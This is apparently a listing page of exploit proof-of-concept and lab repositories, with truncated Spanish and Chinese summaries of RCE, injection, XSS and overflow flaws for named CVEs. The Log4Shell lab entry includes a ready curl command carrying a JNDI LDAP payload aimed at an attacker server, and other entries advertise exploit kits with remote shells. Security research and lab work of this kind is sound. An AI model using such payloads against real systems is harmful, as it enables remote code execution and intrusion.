CVE-2025-62429

CVE-2025-62429 PoC - clipbucket RCE Prueba de Concepto para RCE mediante Inyección de Código PHP en updatelaunch.php Divulgación: Originalmente reportado por mí a través de GHSA-3h9c-7j8r-xc3v ⚠️ Solo para uso autorizado de pentesting/investigación. Información de la Vulnerabilidad...

CVE-2026-26831

CVE-2026-26831: Inyección de comandos del sistema operativo en textract Resumen textract hasta la versión 2.5.0 permite la inyección de comandos del sistema operativo a través de la ruta de archivo proporcionada a varios extractores. Varias rutas de código pasan esa ruta de archivo a...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye 认证后的远程代码执行 通过未净化的 motion 配置参数在 motionEye = 0.43.1b4 中实现认证后的远程代码执行 作者：d3vn0mi 漏洞概述...

CVE-2025-41243-Vulnerability-Lab

CVE-2025-41243: Spring Cloud Gateway RCE Lab 漏洞描述 Spring Cloud Gateway 存在 SpEL 表达式注入漏洞，当开启 Actuator 端点时，攻击者可实现远程代码执行 RCE。 启动方式 docker-compose up -d 复现 1. 访问 http://your-ip:8080/actuator/gateway/routes 2. 注入恶意 Payload...

CVE-2025-31722

CVE-2025-31722 — Jenkins Templating Engine RCE 仅供教育和授权安全研究使用。 描述 绕过 Jenkins Templating Engine JTE 插件 = 2.5.3 的沙箱漏洞，允许低权限用户在 Jenkins 服务器上执行任意代码。 该缺陷的发生是由于 JTE 从文件夹级 GovernanceTier 配置中定义的外部 git 仓库加载库，并在 Groovy 沙箱之外 执行这些库中的步骤，无论创建作业的用户权限级别如何。 CVSS： 8.8（高危） 类型： 沙箱绕过 → RCE 受影响组件：...

CVE-2025-5548

🐞 CVE-2025-5548: Desbordamiento de búfer de FreeFloat FTP Server 1.0 Investigación profesional y desarrollo de exploits para un desbordamiento de búfer clásico basado en pila en FreeFloat FTP Server 1.0. Este laboratorio demuestra la transición desde la ingeniería inversa binaria hasta un RCE...

MAL-009

MAL-009: Encadenamiento Inseguro de las Opciones T y TT en Zip para Linux En Zip para Linux, la opción “-TT” puede utilizarse para ejecutar comandos arbitrarios del sistema. Debido a la naturaleza peligrosa de esta opción, debe usarse siempre al mismo tiempo que la opción “-T”. Mediante un ataque...

cve-2018-7600-drupalgeddon2-lab

Laboratorio de Vulnerabilidad CVE-2018-7600 Drupalgeddon2 Laboratorio educativo que demuestra la explotación de CVE-2018-7600 Drupalgeddon2 utilizando un entorno vulnerable de Drupal 7.56 desplegado con Docker. Este proyecto simula un flujo de trabajo real de evaluación de vulnerabilidades,...

mitigation-cve-2019-9787

缓解措施-cve-2019-9787 POC 1. 简单 XSS： 2. 简单 CSRF：攻击者网站代码--- https://github.com/kuangting4231/wordpress.github.io 3. CSRF 远程代码执行：攻击者网站代码--- https://github.com/kuangting4231/assigment1.github.io 缓解措施 1. 修复管理员的净化处理逻辑缺陷。 在 /wp-admin/includes/ajax-actions.php 和 /wp-includes/comment.php 中添加以下两行（详细信息见报告）：...

CVE-2025-47812-PoC

CVE-2025-47812 — Wing FTP Server 远程代码执行 RCE 概述 字段| 值 ---|--- CVE| CVE-2025-47812 影响版本| Wing FTP Server 7.4.4 类型| 未认证远程代码执行 CVSS 评分| 10.0（严重） 修复版本| Wing FTP Server 7.4.4 工作原理 漏洞存在于 /loginok.html 登录端点。服务器未能正确过滤 username 字段中的空字节（%00）。攻击者可以利用这一点将任意的 Lua 代码 注入到会话文件中，这些文件随后在访问 /dir.html...

jboss-deserialization

JBoss不安全的反序列化导致RCE：CVE-2017-12149 JBoss不安全反序列化 - RCE利用实验室。 这里的想法是搭建一个包含旧版本JBoss（7.0）的实验室，以便利用该漏洞。 我们可以使用Docker来简化整个过程。为此，我们需要一个Oracle JDK rpm包，因为JBoss 6.0.0最终版需要JDK 6运行时。我们还需要仓库中的Dockerfile，并且系统上显然必须安装Docker。确保所有文件都在同一目录下。 1. 使用git clone https://github.com/Xcatolin/jboss-deserialization克隆此仓库 2...

tpadmin-CVE-2026-2113-poc

tpadmin-CVE-2026-2113-poc Una prueba de concepto que explota la Ejecución Remota de Código con privilegios del servidor web mediante la Carga Arbitraria de Archivos. Descripción de la vulnerabilidad Existe una vulnerabilidad crítica de Ejecución Remota de Código en el componente de vista previa...

log4shell_lab

Laboratorio de explotación log4shell Este repositorio es una configuración de una sola línea para el laboratorio de explotación log4shell. Configura el laboratorio: docker-compose up -d Ejecuta el exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Lue...

CVE-2026-34724

🚨 CVE-2026-34724 - Zammad 7.0.1 - Inyección de plantillas del lado del servidor SSTI que conduce a ejecución remota de código RCE a través del AI Agent 📌 Resumen Zammad es un popular sistema de helpdesk y atención al cliente de código abierto basado en web. CVE-2026-34724 es una vulnerabilidad de...

react2shell-cve-2025-55182

🚨 React2Shell - CVE-2025-55182 漏洞利用框架 针对 CVE-2025-55182（Next.js 远程代码执行）的高级漏洞利用框架 作者: opsecramdan 📚 目录 概述 漏洞详情 功能特性 环境要求 安装 使用方法 交互式 Shell 输出文件 影响 缓解措施 局限性 免责声明 📌 概述 React2Shell 是一个漏洞利用框架，用于识别和利用基于 Next.js 应用中的 CVE-2025-55182 漏洞。 该工具被设计为 一体化攻击工具包 ，涵盖： 子域名枚举 漏洞扫描 漏洞利用引擎 交互式远程 Shell 🔍 漏洞详情 CVE ID :...

EXPLOIT-CVE-2021-44228

CVE-2021-44228 — Log4Shell PoC 实验室 免责声明 本实验室 仅用于教育及安全研究目的 。 所有流量均发生在隔离的 Docker 网络内部。 请勿将此材料用于真实系统或未经明确授权的场景。 不当使用可能构成犯罪。请负责任地使用。 CVE-2021-44228 是什么？ Log4Shell 是一个于 2021 年 12 月被发现的关键漏洞（CVSS 10.0），存在于广泛用于 Java 应用程序的 Apache Log4j 2 日志库中。 漏洞成因 Log4j 具有表达式插值功能：在记录消息时，它会解析 $... 格式的字符串。例如，$java:version...

cve-2022-42889-text4shell

安装Maven - maven-linux 1. 安装Maven以创建fat jar root@kitploit: mvn clean install 2. Docker构建 root@kitploit: docker build --tag=text4shell . 3. Docker运行 root@kitploit: docker run -p 80:8080 text4shell 4. 测试应用 root@kitploit: http://localhost/text4shell/attack?search= 5...

log4j-vul

log4j-vul 本项目仅用于演示 Apache Log4j2 漏洞，即 CVE-2021-44228。 Java: java version "1.8.0121" 编译： （在 src 文件夹内） javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 执行/运行： （在 src 文件夹内） java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...

CVE-2025-32432

CraftCMS CVE-2025-32432 漏洞利用工具集 基于SensePost研究的CraftCMS远程代码执行漏洞利用工具。 📁 文件说明 🎯 主要工具 1. finalpoc.py - 最终优化的POC 支持信息泄露和远程代码执行 自动asset ID发现 多种session注入方法 详细的调试模式 2. test.py - 基于原始SensePost文章的简化版本 包含自动asset ID获取功能 使用yii\rbac\PhpManager方法 3. automatedtesting.py - 自动化测试框架 并发测试多个目标 详细的测试报告 JSON结果输出 📋...

GHSA-6QW9-4VV5-JR97 Grav: Stored XSS via Markdown audio/video media <source> URL

Target: github.com/getgrav/grav Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement — verified on 2.0.13 latest stable and develop HEAD 5a7070f Severity: Medium 6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS...